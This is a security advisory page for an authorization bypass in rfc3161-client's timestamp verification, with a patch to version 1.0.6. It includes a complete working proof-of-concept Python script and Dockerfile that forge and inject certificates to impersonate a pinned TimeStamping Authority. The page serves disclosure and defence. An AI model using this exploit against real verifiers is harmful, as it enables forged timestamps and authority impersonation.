Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.
Details
The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:
leaf_certificate_found = None
for cert in certs:
if not [c for c in certs if c.issuer == cert.subject]:
leaf_certificate_found = cert
breakThis loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).
An attacker can exploit this by:
- Acquiring a legitimate, authentic TimeStampResponse from *any* widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
- Generating a self-signed spoofed "proxy" certificate
Awith the exactSubject(e.g.,CN=Intended Corporate TSA) andExtendedKeyUsage(id-kp-timeStamping) required by the client'sVerifierBuilder. - Generating a dummy certificate
Dissued by the *actual* FreeTSA leaf certificate. - Appending both
AandDto thecertificateslist in the PKCS#7SignedDataof the TimeStampResponse.
When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.
The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.
PoC
The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:
Dockerfile (poc/Dockerfile):
FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]The attack flow locally demonstrated in poc/poc.py:
import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp
def main():
print("[*] Generating TimeStampRequest...")
req_builder = TimestampRequestBuilder(
data=b"hello world",
hash_algorithm=HashAlgorithm.SHA256,
cert_req=True
)
req = req_builder.build()
print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
resp = requests.post(
"https://freetsa.org/tsr",
data=req.as_bytes(),
headers={"Content-Type": "application/timestamp-query"}
)
if resp.status_code != 200:
print("[-] Failed to get TSA response. Is the network up?")
return
tsa_resp_bytes = resp.content
print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
])
# We create a self-signed spoofed certificate that meets all Python verification criteria
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow() - datetime.timedelta(days=1)
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=1)
).add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
critical=True,
).sign(private_key, hashes.SHA256())
fake_cert_der = cert.public_bytes(serialization.Encoding.DER)
print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
status = tinfo['status']['status'].native
if status != 'granted':
print(f"[-] Status not granted: {status}")
return
content_info = tinfo['time_stamp_token']
assert content_info['content_type'].native == 'signed_data'
signed_data = content_info['content']
certs = signed_data['certificates']
from asn1crypto.x509 import Certificate
fake_cert_asn1 = Certificate.load(fake_cert_der)
real_leaf_asn1 = None
for c in certs:
c_subject = c.chosen['tbs_certificate']['subject']
issues_something = False
for oc in certs:
if c == oc: continue
oc_issuer = oc.chosen['tbs_certificate']['issuer']
if c_subject == oc_issuer:
issues_something = True
break
if not issues_something:
real_leaf_asn1 = c
break
if real_leaf_asn1:
print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
dummy_cert = x509.CertificateBuilder().subject_name(
x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
).issuer_name(
real_leaf_crypto.subject
).public_key(
dummy_priv.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow() - datetime.timedelta(days=1)
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=1)
).sign(dummy_priv, hashes.SHA256())
dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
certs.append(dummy_cert_asn1)
print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
certs.append(fake_cert_asn1)
malicious_resp_bytes = tinfo.dump()
print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
root_resp = requests.get("https://freetsa.org/files/cacert.pem")
root_cert = x509.load_pem_x509_certificate(root_resp.content)
# We must also download TSA.crt which acts as an intermediate for FreeTSA
tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)
print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)
verifier = VerifierBuilder(
common_name="Spoofed TSA",
roots=[root_cert],
intermediates=[tsa_cert_obj],
).build()
print("[*] Attempting Verification...")
try:
verifier.verify_message(tsa_resp_obj, b"hello world")
print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
except Exception as e:
print("\n\033[91m[-] Verification failed:\033[0m", e)
if __name__ == '__main__':
main()- Requests a timestamp from
https://freetsa.org/tsr. - Generates a fake cert with
common_name="Spoofed TSA"andExtendedKeyUsage=TIME_STAMPING. - Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
- Injects the fake cert into the bag.
- Invokes
decode_timestamp_response()on the malicious bytes. - Runs
VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg). - Observes a successful verification bypassing the
common_nameconstraint.
Impact
Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold *any* valid timestamp from a CA trusted by the Verifier.
AnalysisAI
Authorization bypass in rfc3161-client's TimeStamp Authority (TSA) verification allows remote attackers to impersonate any trusted TSA by exploiting a naive leaf certificate selection algorithm in the PKCS#7 certificate chain. The vulnerability enables an attacker to inject a forged certificate with a target TSA's common name and timeStamping EKU into an authentic timestamp response, causing the library to validate authorization checks against the fake certificate while the cryptographic signatu
Technical ContextAI
The rfc3161-client library (CPE: pkg:pip/rfc3161-client) implements RFC 3161 timestamp verification by parsing PKCS#7 SignedData structures containing a bag of X.509 certificates. The root cause lies in the Verifier._verify_leaf_certs() method, which uses a flawed algorithm to identify the leaf (signing) certificate from an unordered certificate set. The algorithm naively selects the first certificate that does not issue any other certificate in the bag, without validating RFC 3161's cryptographic binding mechanism (ESSCertID or ESSCertIDv2 attributes) that cryptographically links the signature to the exact signer certificate. The library then checks authorization rules (common name, Extended Key Usage for timeStamping) against this selected certificate. An attacker exploits this trust boundary confusion by: (1) acquiring an authentic timestamp from any widely-trusted TSA (e.g., FreeTSA), (2) forging a self-signed certificate with the target TSA's subject name and timeStamping EKU, (3) injecting a dummy certificate issued by the real TSA's leaf certificate (disqualifying the genuine leaf), and (4) injecting the forged certificate into the PKCS#7 bag. The library's naive selection algorithm picks the forged certificate, authorization checks pass against the fake credentials, and OpenSSL's PKCS#7 signature validation succeeds using the legitimate TSA's key and trusted root chain, creating a critical false positive. The vulnerability affects all versions of rfc3161-client prior to 1.0.6.
RemediationAI
Vendor-released patch: rfc3161-client version 1.0.6 and later. The fix modifies the _verify_leaf_certs() method to correctly validate RFC 3161 ESSCertID or ESSCertIDv2 attributes that cryptographically bind the signature to the exact signer certificate, eliminating the naive certificate selection vulnerability. Upgrade immediately by running: pip install --upgrade rfc3161-client>=1.0.6. Verify the installed version matches or exceeds 1.0.6 using pip show rfc3161-client. The patch is available in the GitHub repository at https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6 with detailed code changes at https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0. Until patching is possible, applications should implement additional validation: verify timestamp signatures against the expected TSA certificate directly rather than relying on the library's common_name pinning alone, validate the certificate chain's authenticity through out-of-band means, and restrict timestamp sources to directly-connected trusted TSAs rather than public services. For compliance-critical deployments, conduct immediate audit of all timestamped documents issued prior to patching for potential forgery.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-295 – Improper Certificate Validation
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-20480
GHSA-3xxc-pwj6-jgrj